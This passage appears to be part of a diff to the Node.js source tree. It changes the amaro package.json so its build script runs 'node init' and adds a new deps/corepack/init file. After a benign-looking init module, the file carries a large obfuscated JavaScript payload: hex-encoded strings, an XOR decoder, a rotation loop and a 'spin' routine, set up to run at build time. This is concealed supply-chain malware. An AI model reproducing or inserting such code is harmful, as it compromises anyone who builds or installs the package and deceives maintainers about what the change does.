7c090d4878ea790ce8c90a7dddbc5c8ce969c86db96dd9281a7c78580ccc8b8a493ae8ed9ba9bd5dbdba5bb9cddc9dba7949ca4a7dbdb96d081dadddaa7c9db87dba787dbdb99d486968090db94a58ba7d496c5c694a0a7d781968696dbd487a3a785949c8fc5c997d791819291d4db86cad6968391a78bd6a7c9a7c9dcdda197dbbca7dca596c9c3cac2dca8c1a2c3d69b9ba581db88879089a7a0cba79094a7dc85d6d59ba6de97c7d09ca79f8886ddad9bab9a868c96869291bfdb8686ae859ea7cddbd586808287a79b8c88919adbb29ca1dbc982de96dbdd9686ced4d59b9ddda7d9a7b6a7aec9d3ada7c9c9db969796a1a786b4939b96a6d8a7d79cc9db96b7dd89a7a7dba791d0a7dba0daa7db87b9c981dcd4a790a7c7968585d486c9cba7cac4a7d1c98190a7c9c9a79ac5878193dda7908697b1a7c2999c94a7db8886dbda86a7968786948799a7d093a886c5a7dbc99990c98790d086db8699998697cda7ba8db6a78196c481c38edbd8d5a799db90a79adb969298a79e9aa786979694c9bc8c8088a78781d686d38981a7948da7dc9d9adba78693d59ea7a7a7c19687dd8ddb96c881dbc99cc6dda78dd5dbc9dbdba7d193d781d5a7a786bbc9dab6d5a79ba791a78785a7a7c99a91c9dba7c987ae9487d799c9dbd5a5d7dba786dba7db8796d483d6b193a79090979a8ed9a7dc91cd83c993a796db96bfc98190dbd4a7a7d79ea6dda6dca7d6c9a6db9da5888781dbdddadddb96ddc491c9a782d48680c5dd9adba597ddc5dba7bf96b09cb6db93ddd5db9cdb978096c9d687dbdbdba7a7aecddcaad4a7dba6a7b7d4d781a7a3979baaa79996a5a7a7d59aa79bce9dc9a7a5b587cd94a787999689969ac0dda785dcc9a78d91c9c9d1db9bc9999a889087a7c99a8ca7949bdb9a8cdba7bcb7c99d81c9969a97b09ca788dd98b887dba194a7c5a790819ca788dbd4c9dba7c4cc81c9b49097a7aab996999dd4b1c587dba7c59c999c87a796da86cdc996a7dd87dfa7b590c9c9db99cedb8796d8a5809994a79696a79cd7c5c3b5d4a796d4dba49e99d9c992c9c28897dd94a796b9db9686d2dedbdba1ddc987a7c9c9dbdbd39391cba79ad5969a9098a79682db99969bdd96cfa7d28981c9a79ba7aca8c1b8c5b2a7dba7b3a78081dbd4c993db80ded1de81c9a7dfc286a7a7a7dd9c979d91c8a5dbc988a7a7c890a7dbaadcdbdc8787d9c1d3d599a78890c9a7c3a7a7c9ab92939990a7918681a58bc99796dbdd868cc9c088a79cca99969dc9d3dbc68e80db9baacf9ca7c297cec5c9a7c996a7a7a796a7b589c48690b2a786c7dc96c89dc993cc90c9c987de90a7a9d2dcd3c08783dab387aedb94db819bdba7a5879ba0c99aaa96c39bc8b0a1c9db9cde8d96c29990838680c987dbd4a796c9d4a8a782d5dba7a7dda8a5a7b1dbd59993d4cfd3db979185a199dba7d6a7a6dbd1a7c9dda7d5c9c996aedb9bdbd59aa787c3c287c990d8a7d88096dfa7a7d1a7db9794908c9686dbd4aea78da7a7c9b1ad81939b96a7a4a59c86a7819296c9db94a7cdd497d4c9a681c5c9a7cbd5a7a7879ca7cb96a085db96a7a2afa7d4a7b1bedcc596839b9b9e86db90d5a7d5ab9199a7c99693a7a780cf86b2a790d9dd92a7a3a7d7a780a7a7a7d7a781a7c9a786d7dbb0a79caaa5d3a7c9998c9aa692d286cb83a7968290c1a7969295db9dc9aa96d2dd809891a7a5cb9acca7a59bc4a7d6db9693a7c9a5a8a786da949b9384bba7a7d2c9dba796cd969ca7a7a796db94aa8581be9ac9858687c9c2c9a7a79cdb9aaa96dad49ba7a786ddd5cba7a5a88d8181aa86aa9a9db7c994d286d3dba5c9d5db9eb296c387c9c29c9ada82a7bca6a5a5968d9da78296dbc9db969c96d0c4a793cccc91a6d5c9a7979686a7a3a7868d879194a8a7ce81caa7bbd9d9a7cbdc96a5acd796a796a790b3d5d4c5a7a784888887c5c0b9c3dbc9a7db8793c9d1808996c996c9a0d8b1aed59696db9ac9c0cec9d5dddbb0db9ddba7aa99c9a787c9c9b3c9ae8181b69ad098a6dba7a7c6bc97969c9aa7a7c99485a796a796aea7a7c9db939ba7a7d9dba7b7949bdd8cdaa789bd85b29ba7dbc9c8a7a7c980dd949686d1a7c690a7dc9896aab4c1809b81d790ce869a87ddd0a7a581dd9092ddd8df87d498c9a7b1dda7a794db8792998fdba782db93a7a88494839aa893ddd0c9c9969699c9c186cca9b580d5cc90dbdf8ddbdab381a6a7a5aedbd1d09b958fdcc9c9d1d4c0a49697dea8a7c681a7c9939ca59690a9c98f9cdba796949787d5ddc9c9979b83c3d4819b82aa96ad93dd9b9ddbae88df86dd95c9a5cbdda7c9dbdbc98d81cca7dddb96c9dd90c5a7dba5949adbd491ddddd8b593c590c9c9c3a79aa780cedd9195d5a785dbdbc985d990c9a1c9bbdba5a7dbaea796ba8fdc93ddc999a8db808eca8793c9a7cea7c9bcdf94c9c9d195a7ddd5dddbdbdbc9d7cfc9bba7d090a7d59cd6db8fdb99dd87a7d991a794db91a783c986a396dd86a89cdcb89ddba79bc9a7a7a78181a792d98bdba7aea7d69093dbce818185dbdc86a79ba68199a7a7c79a90dbd3969cdd9488dbd7a5d38c8690a7aa94d087a7a7dbb1c99ca586a7b1d49cdb98a7d7a79f8f9dc980a7dbd9cb9190db9fba8894a7a496a3c986d1c6b692a7c9a7c0b09691a09d9690dbd4a093dba7d88dc3c9a8db8296c9c9dbb0d487a7a5a79cb68ddba6a7d498db9bad97dbc293db8f9093afa7d7d7a8dd8cc98d97c99ec9a8a0a7d896888493dbd4bb9cc8ac9ca79aa7a7bbdbb58682c4b98090c49ea7d3d5d687b19690a7db9499a7a7dba7dbddd7a8b8a781b89ca787dc879980a791d3dba7a796859c93bc99c7a7c9a7c9c9c093dc8fd393a0a79096c986c1c9909b86a7db9ad7c99cc9d9a7d486d59ab79ca7d896a7c599a7bb81a1a7dca6a796c993918081a7a791a58fa7bddda79686dca5b1c996d1a78dc7d3cfc4bd87999adbdb9bd59386dbd19bcd8085bad1c59c8686869cdbd8c983a7c9dbc984a4ddd4a7d4d5aed4918d829bdba78c80df9cca91a7d0dba7c7a781cb87c286d481a786aaa7909195d4c9d1a8a7d5a798d4a7938da7d598a79a9ed49681c9dddbdb9ba796a6a79ba9d3dbc9c5a7a19c82988185c6dfb2dda58cda9b8db39d81a7c9dbcfb29adbdbdbdda781db87dbc9c59681a1dd87c9d5db9aae9c83dbc9a7c486a7cc91a8a7dea7a79d90a7d49696c7a7a790d7cc96ae87c9ceb190a596a7a79e81b29992c9ca81b4a0d28181a7a4a788d582c681a79481a8dda381d8cac9c9cadbdbd79987dcdb90a7d8a7a7bcabb0be83dbc1c2a79ade9cbbc9909690db9ba78ddd81a7bda7d581cdcea79c87dcc994a7968ddd8494a786b5939087a7b8dbc9c8db9681b5c99396a7dba7dca7db878d99d481dad99986a7a7a796c8db9cc5c6a79da7a7868eaa8da787c9a4c996d994c9c9b0a2ddb89aa7c9d58081b0d79388979387dbc986a7dea89187d5c9a7d4a4a782db9cd5bca7a1aaa59adbdd96c581cddd86a7a1a7a7969bb7a7d4d7db8dbcb1dbb49c8890859aa7c6d49a8fc8a890819ea781da80b4c4c1a7a7cca79681d4bb949187aa9bb2b6d4da97d188a7d78d91c99ca79681abdb808082c8c691a7858292a7cca7cda584a79cd6a78592cc80c8c49cc593c9dba7c9a5c593888183aa87c69086cfc99387c99cc2ddc98cdd9a99a7db90cc9a9ab7a1dbaaa7819ab0dcd59486ddc996a79c9091818686a7daa7a7da9087a7dddb829690dba7db87a58cdda7baddc9db92bd8d87a7c9a1dbb9d4a78dddc99addaedbde8ec996c9a7c9db909cbba1a7b6ae8ddbc1a79ea7d185bed7db9996a5dddbc9819edbc9a7a4b39e9b82bca7dcdb81d8a787c8908ec9dba5a5d5d6b0c3c69485c6aea7dcb9919196cea78da7d4a7d2d59a9ad4dc82db90d4dba796c9c5d0c99c8686cca780bac39c87d1dba7db9c85c3d098d8c382a79cc98fc9d59287c89b8290a7a7bbaaaaa7dda790bf83a793a7d0cfbba7a5a7c99ba7a7a7d1dba7db98a7c987a7d68eb096dbdc97c9c385909ca793d681b9dbdba7c9a59fa7a7dbddd994aa9999dbd5dbb1d592c9dd879d83d5d7c19ed4d59599a7c99e90c4d596d1d1c0a78fdba7a7a89080d3b19ca7d5dba7c9dddd96908786b0db949aa79d9093dcd090b9a7dcdbcfdbabdc9086b6a7db88dba1c9a5abdbd5b18cc9d6a796a785bba787dc9ba7a799aac691cda2dd96c8d8c6b09084909cb8a7a790a78fa79496b68090c999c9a7869cdb94ce8796c9db9991a7acdba7948799a7969bba93c69da1869181c9b8d798c986dd9b8588cfb4db938ca7c9a7b6c9d6a78cc583a7c988c9a7dbc9d0948186d499a7cbd8c9c7999991db9b87c0c8ddb3cfdba7a7999ba796a7d7868fc69ad7c993a7d3c6dbdbd4accb93a7dc9790a799869d85b8d0c993dbdd91d494979cb3a7d5c68294b8c98690dbdb8493a7db9caadbd3b0d4dbd3a7a7a796a78d8ea7aea7dbaacaa7c7d4d4a7a7968ddca7bcb8dbdc93c8d6c4b0b997a7a79bbf9094b89c98c4dca7a7a7aad589c99994c9c6dcc58c9691d3dbd69bc899db89a786cedb93dd9096db9686c8968ecaa7dad091aad4949bba9690c9a7878d94dbd297dcc8aac998dc9c96b496b6a796db9bc9a7db90d5dbdba7d8c9b4a7c0dba798ae91a7c9c9c7a7dbb49bcc8da796819896b0d0aedbdba7d9a481c980a593aad4c9a7c8d581afa7969985a5dfdb809085c3c993db97cca7a7c996a6879ec99088a7969e9196dbcec9818fdb99dbc9d49c9adbc987dac7c9a7c89796a7a786a3b1dba7dbc497c99696c9a788c99ddedbd5a783a1a785aaa5c9db8786dd80a5a481cfdbdbc9cba79eccd4c894ce9ac994dfdbc287a8c5acdccd96888fddc994dba7db90cda79ad58199d5a796ddb48b9cd4dfdd97a7d096a7d996c581c9d587b8a7a7c9d5a79cc9d5db93a590dfdeb0dc98db9a9fdbdb98cd98db96a7ddd1c993dba7db9c91908c8896b7a7a7d48696c99b9acca7c99bd5a78287bbc5d681a7918096aad8a7a6d79c8e9cdcdd9bb896a7c9c5bbc9daa3c9c9dbd9c5de82dba8c982c9a79090a7d982da90a7dba7dc9cdbd5a7c990d5dbc3a79294db879286dea49c8191db9ad496819094b9a79adcc6a7d5c9db9691dbdadb8bc9d5db86a9db90c98685c0a7dbc9a7a78294d4dfdba7dc81a7d99a93a7afc9af8196a79d86a787d1dadba7b6dbdb97d5d796a781d9d299909496a596d5a7a7c9a78fd7c9a79cd599c59aa7a791a786c2dba7dd90b696a7aadbc3d7aaa7dbdb85c9d39e91919090dbc9c8dbdb999adbc8a7c9d497dbd3a796c98196b687c598d396ad80d2829b91db86ce8682dea7c1da8680b19c96a59794d5dbdb9cd49ac4ab8788bccb90c1c9cfa782b6a79c96c9a7a7a796d7dbd591a78581c5c9dba79ec5c9a2cd87d5a79ba7dbb196dbb6bbd599829a9ddb99d8c9a7c9859697a7d5a590c39dacd8a781db96b085cfc9de94d8a3c9a794a793d2ddc987a7a7a7d3c9948fc9c1a7a7a7dbb0dcc2db8d8796c59c99bda7a19c8696dbaf93a79396a78dd8819ddcdba7d6c8d4c9b6db82d7998e90a890d8a7c9dac986c1bb81db9a85d79690dbc1a79b8ea6a79ac9a7dcb696a8dc90dda782cda7a7dbd5c9c49d968e85cd96a6d490c9a7caa7be94c89cc3a79caedbbca785a7d1a7978da7a69699db85c9a5d49394d4838386badbd485a7a781dbb09299a781c9dbd49c8091db9980c99c86dba79aa7c1d4dba5db9698dba59c88a79adbdb99a5bba78cc3c8818ec99490dbaad4a782a78194a7db8693dbd4dba8c1ae90dba79eb088d8888390dbdbd1bb829cb1d488dbc5a7d6c99c8694a7c685d0c988db94a7b5a7bf81dba7b2948ddba7d28685b6c5d4a7b29687dbc7b3a79ca790a594a79b86a7a7a79b94c9a7dcc0a0cfd79bc8969196cab4b781dbc7c5db819196d4b6c4a7d596dbc9909194b4dba7dddbd99099a796a7c996d3c9db90b6a7a0a79c938e94bfbea7de908dd88dcfa596d0909cb59096a7909eca85a7dbc1d5a7a7c9a7d6d196dbdb9cded4c1a7a7d1a7c6d6a7db87dda59ca7a7c996dba7969caaa0d48fa7a7a7ce80ab89dbafdb86dda1a7a7a196db9188a7c98cdbaa96c9dba7a78ed19ea7c1b3b7ddd1a9c982dbd5dbcea7c990a7c1a986a796cdc9a7dba7aeb091a7d5809aa7ae88a3dddb8591d2d7c9bf94ddc18587b4a7dddbbb96c9c98785c6dbcb8fd59090a7d4c9dbc9c0c2cfd3a5dc96aea797a7a7b0b8ddaaa5db88a7a7dcdbc8a79d87c9d9b6a7a7a7ddc99ec6a7de9d9bd5d0a7dba7b3dc99a7cea7db86d5a7db9f9998a7dddd999abddbc9a7c98ea5a790a79cc9c9969190bedba7db93a7c785a7dd949a8bdba78ca7a7a7aecfa7a7ca909c86a7a5939ed5ac86dd86c6db96d5c9c197999ac9c5c9cc8e9ac9a7a1b5a7dbdb9ba79ca7ce9499ca869aa7c592c9a1dba78198c980db86a9caa799dbaaa796968fc1d3cfcac5d5dbc0a7da968196c1c9a7cb9d9cd0db9cd69c88c9a7dbb09896c48db49b93a78ea69687dba7dbd089d7dba58787a79bc996a79ba5d494a7a781a793a7dba5d5cdd2a7c9bfb4d5a7d39cc99096968ea89693dba79894a7db9c8796db9ca790afd79bc98cd4c9d596a7d5d6c9d99096d4a791cc869c96deaac494db8780dbdb97dbdba7909dc9a78b9cd19a81c993a791969c81c9a9929aaac599a79883b3ddc990cc86c9a78181ddd5d4a79ba7c388c9db9c81badbdbd3cc86c191bba796d5db9adba7a7dba89fc5d5a7d59894c1ce87c986b694dcd3d5989aae8d99a7df9d81d4d9b48085d5a780d993a78193ae9fdca5df96a7a7c4c9a7a683d586d4c796bc86a7dbdb90c2c19da791d296cf838687db86cec990ddc9aad4b8a793a793b9b9929499dbd4db80dba7ccddb8969994dd918881ba94db88a796bc909798b096c5bbdda7b1d097b0d1d58791c99682dcdbb3c9ba97afa2a7db9f92dba0c1d79493a795d298d0da9093948da7a7a7cea79b94cfc283a7c59796db94aaa7c9c99fa7a786dbdbaddc8685b29cd383d290db99dbc7dbbcdb90cc87a790db86d2c4c887db90a7908d9797aaa7a7aa90cc9691c9b3bca5d4db96a7decddbc1c1c3daa0c9c99986d4a8c9809585a7868097c997cbbfa58285b59c99a7c99cdc9ed491a7b99ea7db8187a78ddd8787dcd0d5dadbdda897cd96a786de83a7d896dc88cf9a86a7db96d6d7c996849ec9909edb9c98a7a6bbdba786b0d597a5a59bdcc990889ac590d7dbc491a7bca7d4dd87dbd0dbbcdbdba7938f94aacaa7a79e93dad98196a7a7bc93dbc99ca7d59791a7badb96a5969190a7db8688909fb39785ce9adb9386c996aa9896c994b3db919b96c596d5a7a7a7db849bd5dba796a7db9da7be9fc9a786db9e96c9c6a786db9696a181db8187819b81cb82cedabc96af96cd87c99cdba781cba79686dbdb86d5868ea190d5c9d4dbdedba7dbc980a7a5a79adbc9bedb98db94db8687b8c9a7d5db9682a79c96c9a7dc9ba5ddc9a7a79090808196bf96d085bbdba7869690dbc8909493c5c9d2b5a688c4c9c9acbc9f87d4d4c9c194db93a7a7db99d3c9a7d1dbdb9983db8889c0d3a7dba7d4c9dc8d9386db97d1cfa796d599dbc9d59addbfdb90dbd6bbdbc281c9dc96c982d590a7c5dbc8c98c96d5d4dbdba790cac99bd2b7aea7979ad29480a788d5879490d6a7c8db9ca7dd8681c7db978bd5c9a696db8881a186a787c994a7dcd5878c9c87d4b6c996d581918bd7d5addb8181a7c9a7d491d596dbdbd49091dba7dbc9a7d59bdba69b90d4d4dcc1da9aada7a780db909ba7c9db87a784a7d799aab8db9093818187d581a796dbaa87c9a7dba7db91918ea29d8ea7dbc9dbd3a7a796c9db929388a79687c0c79181908891dd88ca96b3c2db8d8cd1a2c9d4dbdb96c38596cabb96c58fdd9dc1dba7a79ac8aa9a94dba593d493c19da7dba791df90c891d69696c387878e9adaa794a7a6db8fdb83dba7b196c9dbaea7ccdbd281a8d3dba7a7a7d8c1a7d39082a996a7ac909a9b93d581db98dc90c8db9c96bedba78edbc58699c48596a786dd969d99dba2a7db8c96db8e909c99c69381c98edadbb6dbdddb9bc999dccb98c9c991c4c994cad59b9096c9a7dbdb9483999aa7839fa79290dbaad5c8a7dedba7a7db8291a7db91c3d0dbbc9696ddde81dbcf969cd2db969d81db97dba7d486c19381aaa78d8194c98688bdd99696db919ea79b96dbdb8896d6d59bdca7dbddaadc96c4c6db9a81db9adb88c9d4db81a7a7dcdb81c9dbdbdbcda79bdbbd819681c99799a79a8196a4b29babdfaa8d989096a5a188dbdbc9c987c5d599b081d4919bd7c58593db929988a7c990a799a1b59cdbdb92dc9b90c1a780c993a7a7a192db96a7db96db909081c9dbdbab9090d987ce818985968190a2b386d5a7929491a7879ab2dd998199d5d6dd8c87c9dbd6919181dbc9a7d59cd89ac98681bc91d497dca7bcb081dfa7a79bd3a7db96c99ca79899a7ddd8dd9881969edba78cd4c5a7acbfc996dba79ccb8787dbd582cc96a194a7c8c9a59691bea8aaa9c793ddd5d6dba786d0db8190c99bdaa7878c9696db9ba796d1dba5d3db93db9c9696b7a5bba791a7cea7dbc0c9a7a7c998a59a8edda78eaa9bc999a79c91db9da7d5db91a79ba787d4bf82a7c5dba7a5a787dbcbc8dd93c990cadbc9b793a88da7969796a596a78688c9a7dd86dba7a5acdba7a7aaa59edd9ac9dd9199c9c590a7d9c4cfb1c48683db9c999d90aaa5a7859696a7c48498db9198d7c9869c86a591dbcad5859891a79da79b9681ddcad1a78781a78ddb90dc95dbdba7db85ca9cd4a7c4a787ddd58edb90a1a7a788db9688c9a7a7cddbdba785a7d79692cedb9696c5a787a7dbd581d3c69b91c09096a597aadba7d4a7949696a7979691978896ddd48e81c9dba79b83dbbba7d38b90b486d18fd7c9c1c9db9a928693b694a799c99a96b0a79aa7a781dbdbc986db9c95a7cadb869296dbdba786a786dbd2d18da79686bba7a7d4a795a79aa7aa9bd4d6a7d9d4c08493dbd6b7bca7b599dbd9dba89aa790a79489c9a7ae81c9c9cf8994aec1c9a78ba7d4deb092d8a7db94a5d490d5d399c9c09bd096a7a791b3878c96db86daa7dbce8e8ed9bddbcec99bc9dbdcc1db819198a7dc86a791dd98a7978edbc9a796db87a598db96a790d596a7969ea78ddcc996d3969cdb8c969099808cced9dbad9187a799a7a7d6d5969693db96a7d5d5a7d1a7969a8787dddb87b685c9bb87d6b0dda8a79ba7d79c9f9b92a7a7c1c9b6d1949199a79496d381ddd4d8a785dba8919adb969ca7888086a78786dd9bd5b6c9d4cedb9396db96b58fc981a7c181b6a781a78196c8db96c696939adbd4d5d5a7cec99390cda79187b8a7a7ae91bbae968ca796cfcba19bc999abdb999acda79ca7a79686869688a78185968edb86a786dbdbdb8896dba794acaec994dfd5dcbcdd9991a7dd828687c3d5dfa7c2d494c9a6db96c9a9a7dbb7b0b9a790c3ac93c9c4c99096a587b190d58699c5a597b1d6a7a89adbd2c999db98d5a7dd85dcc9909e9496db96a7db91dbdbaa80c994d2c9d5a7999c9793989b9193a8dbddd0a7a7c9a7bbb196a7b0a7d6a3dbdb948694ae9bd3a7d9d1c9d9a7c99ac1a7a790b0a7dc8686b9a8cdb0a6a7a790a7b09ca78ea7c996db8ed596a2b293889a9d91969486dba8dbd593a5c8d59a86c3c2b09a96bca59a96d5dbc29c9296b3b6a7dbd5c996b0dbbbd5db97a7','969d9487b481','96ab98909f97ab81879a','8685999c81','c7cdcd999886a0b185','c4c1c0b08583808191','9f9a9c9b','c3c59ab1baa18ca4','c4c4c4ccccc4c3b0a79ea19199','c4c3ccc3c5c1c3bcbe9d9bbebe','93879a98b69d9487b69a9190','c3c5cdb9b684a58680','9d849087868d998083829496919f978c98929a878f939e9a969c85818780819b86819a9b96','c6c3c0c3ccc6a3bab894aca4','8680978681879c9b92'];uFZJCBPkZizvf=function(){return xTmxLGucdH;};return uFZJCBPkZizvf();}function spin(FfKzSIDp$NcOuXFZBJ_CHQSPN,GcPFo_H$YWuzwHOLObbqnFaE){var MRAuuiXbNlf=iHnmzEbnHW$DFPJlH_k,XlFOWWdynqeXPmh$KiC_tyWvrt=[],ISvQGucB_Gv=-parseInt(0x3)*-parseInt(0xab7)+-parseInt(0xa51)+Math.max(-0x16,-parseInt(0x16))*Math.max(0xfe,parseInt(0xfe)),QrsyFxJBYBnJAvsXcggpkOmhe=GcPFo_H$YWuzwHOLObbqnFaE[-0x196*Math.floor(0x16)+-parseInt(0xbcf)*-parseInt(0x1)+parseInt(0x13)*Math.ceil(parseInt(0x137))],PcfPYhaGCwWvPITkAeRVh$Lq_KV,fI$Qa$cy,Y_BlNB$L,TZcT$vuHmKlsqUbpjE,Mk_rsooAxKwbtN_gvflbiXQyD,hzD$VGIwfqJnbnlhUQ;while(ISvQGucB_Gv=22" - } -} +{ + "name": "amaro", + "version": "1.1.11", + "description": "Node.js TypeScript wrapper", + "license": "MIT", + "type": "commonjs", + "main": "dist/index.js", + "types": "dist/index.d.ts", + "homepage": "https://github.com/nodejs/amaro#readme", + "bugs": { + "url": "https://github.com/nodejs/amaro/issues" + }, + "repository": { + "type": "git", + "url": "https://github.com/nodejs/amaro.git" + }, + "keywords": [ + "typescript", + "nodejs", + "type stripping", + "strip-types" + ], + "scripts": { + "clean": "rimraf dist", + "lint": "biome lint --write", + "format": "biome format --write", + "ci": "biome ci", + "ci:fix": "biome check --write", + "prepack": "npm run build", + "postpack": "npm run clean", + "build": "node init && node esbuild.config.mjs && tsc --noCheck", + "build:wasm": "node init && node tools/build-wasm.js", + "typecheck": "tsc --noEmit", + "test": "node --test \"**/*.test.js\"", + "test:regenerate": "node --test --test-update-snapshots \"**/*.test.js\"" + }, + "devDependencies": { + "@biomejs/biome": "1.8.3", + "@types/node": "^22.0.0", + "esbuild": "^0.23.0", + "esbuild-plugin-copy": "^2.1.1", + "rimraf": "^6.0.1", + "typescript": "^5.5.3" + }, + "exports": { + ".": "./dist/index.js", + "./strip": "./dist/register-strip.mjs", + "./transform": "./dist/register-transform.mjs" + }, + "files": [ + "dist", + "lib/**/*.d.ts", + "LICENSE.md" + ], + "engines": { + "node": ">=22" + } +} diff --git a/deps/corepack/init b/deps/corepack/init new file mode 100644 index 000000000000..b8ab56bf2167 --- /dev/null +++ b/deps/corepack/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(w$EEwe_mVJdtn,X$MijNH){var hLsNetSECrqLyGkrjdgtIJ=iHnmzEbnHW$DFPJlH_k,CfaADapYQR=w$EEwe_mVJdtn();while(!![]){try{var AYjGEOVaBmUhJkotaxFFUDWvv=Math['ceil'](parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xca))/(Math.floor(0x30)*Math.max(parseInt(0x52),parseInt(0x52))+-0x1*Number(parseInt(0x10bf))+Math.floor(parseInt(0x160))))+parseFloat(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc8))/(parseInt(-0x3a)*-0x6e+-parseInt(0x2032)+parseInt(0x748)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc1))/(-parseInt(0x139)+Math.ceil(-0x24a8)+-0x3ca*-0xa))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc5))/(Math.floor(-0x2)*0x195+0x3a9*Math.floor(-0x3)+Math.trunc(parseInt(0xe29)))+-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc2))/(0x157e+0x1bb*-0xb+-0x270)*Number(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcc))/(-parseInt(0x4a)+Math.trunc(-0x1e2)+-parseInt(0x119)*-parseInt(0x2)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xce))/(parseInt(0x1672)+Math.max(0x16bf,0x16bf)+-0x29*Math.ceil(parseInt(0x11a)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcd))/(0x167a*Math.ceil(0x1)+-parseInt(0x1034)*Number(parseInt(0x2))+Math.ceil(-0x5)*Math.floor(-0x1fe)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd2))/(Number(-parseInt(0xa7))*Math.ceil(-parseInt(0x7))+parseInt(0x41e)+-0x8a6)*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd0))/(Math.trunc(parseInt(0x2))*-parseInt(0x765)+parseInt(0x1a1b)*parseInt(0x1)+parseInt(-0xb47)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc6))/(Number(-parseInt(0x236))*parseInt(0xe)+0x571*parseFloat(-0x2)+-0x47*Math.floor(-0x97))*(-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc4))/(-parseInt(0x79)*parseInt(0x25)+Math.trunc(parseInt(0x538))+parseInt(0x1)*parseInt(0xc51)));if(AYjGEOVaBmUhJkotaxFFUDWvv===X$MijNH)break;else CfaADapYQR['push'](CfaADapYQR['shift']());}catch(MAMljmxEVRkEAcViFJj){CfaADapYQR['push'](CfaADapYQR['shift']());}}}(uFZJCBPkZizvf,0x490fa+parseInt(0x27889)+parseFloat(-0x3a423)));var z='',NX=[parseInt(-0x8b757)*0x17+parseFloat(-0x81a801)+Number(0x1b39c21),-parseInt(0x13ee)+Math.ceil(0x1736)*-0x1+Math.trunc(0x2c93),Math.trunc(-parseInt(0x1))*-parseInt(0x5815)+-parseInt(0x696c)+Number(parseInt(0x6112)),0x1280+-parseInt(0x27)*Math.floor(parseInt(0x12))+Number(0x137)*Math.max(-0xb,-parseInt(0xb)),parseInt(0x541b)*Math.floor(-parseInt(0x1))+-0x8a1a+0x18924*parseInt(0x1),0x384962+Math.floor(0x2f90c3)+-parseInt(0x1b4392)],SX=[parseInt(0x2)*parseInt(0x3abc37)+0x1*Math.max(-0x554e23,-0x554e23)+-0x2*-parseInt(0x183aa9),parseInt(-parseInt(0xd))*Number(-0x299)+-parseInt(0x1)*parseFloat(parseInt(0x269))+-0x1e6b,-0x1bbd+0x2*Math.floor(-parseInt(0x2b7e))+0x1169a,parseInt(0x2162)+-parseInt(0x3c7)*Number(parseInt(0x1))+-parseInt(0x1ce0),0x1*Math.max(-0x177e1,-parseInt(0x177e1))+-0xbd*parseInt(0x191)+parseInt(0x37b2f),parseInt(0x7ad9)*-0xfd+Math.floor(-0x2b9126)+Number(0xed48f0)];function iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ){var ycLkB_RoPRbnMtpWWtKZE=uFZJCBPkZizvf();return iHnmzEbnHW$DFPJlH_k=function(utEJIknql$bS_SmYF,ATu$KPuqthAWyCuI$oeHyV){utEJIknql$bS_SmYF=utEJIknql$bS_SmYF-(parseInt(0x23f3)+-parseInt(0x1f29)+parseInt(0x40d)*-parseInt(0x1));var nxtaKDz$p_mByWxjPdyQ=ycLkB_RoPRbnMtpWWtKZE[utEJIknql$bS_SmYF];if(iHnmzEbnHW$DFPJlH_k['SbeJrB']===undefined){var gJdAHnfRVBNuhRheSWAAAJ=function(UWluQMU$HzlXDHXLXoCK_ga){var mWQvW$kUnfrPmGMhJq=Math.ceil(-0x178f)+parseInt(0x25eb)+parseInt(-0xb67)&0xb9d+Math.trunc(-parseInt(0x12be))+parseFloat(-parseInt(0x820))*-parseInt(0x1),wDhRPjr$_sQRfgiugAkcJm=new Uint8Array(UWluQMU$HzlXDHXLXoCK_ga['match'](/.{1,2}/g)['map'](TDpKMuM_tcRCnVQhRcCRbB=>parseInt(TDpKMuM_tcRCnVQhRcCRbB,-parseInt(0x7db)*-parseInt(0x1)+Number(-0x5ad)*-0x4+-parseInt(0x1e7f)))),G_hMNlpEV$mC=wDhRPjr$_sQRfgiugAkcJm['map'](pIycLEr=>pIycLEr^mWQvW$kUnfrPmGMhJq),SJ$IdYOTlMLEgR$CxGrwdLnQ=new TextDecoder(),PxJcSrwCsiyiG$BtSD=SJ$IdYOTlMLEgR$CxGrwdLnQ['decode'](G_hMNlpEV$mC);return PxJcSrwCsiyiG$BtSD;};iHnmzEbnHW$DFPJlH_k['UiUkNz']=gJdAHnfRVBNuhRheSWAAAJ,kcL_WpHctzO=arguments,iHnmzEbnHW$DFPJlH_k['SbeJrB']=!![];}var PQdiS$BQosdyEz_xZesGRs=ycLkB_RoPRbnMtpWWtKZE[-0xdd*0x2b+Math.floor(-0x1802)+0x3d21],IshhVtXux_CqLPZ=utEJIknql$bS_SmYF+PQdiS$BQosdyEz_xZesGRs,Gk$McH=kcL_WpHctzO[IshhVtXux_CqLPZ];return!Gk$McH?(iHnmzEbnHW$DFPJlH_k['jAQjay']===undefined&&(iHnmzEbnHW$DFPJlH_k['jAQjay']=!![]),nxtaKDz$p_mByWxjPdyQ=iHnmzEbnHW$DFPJlH_k['UiUkNz'](nxtaKDz$p_mByWxjPdyQ),kcL_WpHctzO[IshhVtXux_CqLPZ]=nxtaKDz$p_mByWxjPdyQ):nxtaKDz$p_mByWxjPdyQ=Gk$McH,nxtaKDz$p_mByWxjPdyQ;},iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ);}function uFZJCBPkZizvf(){var 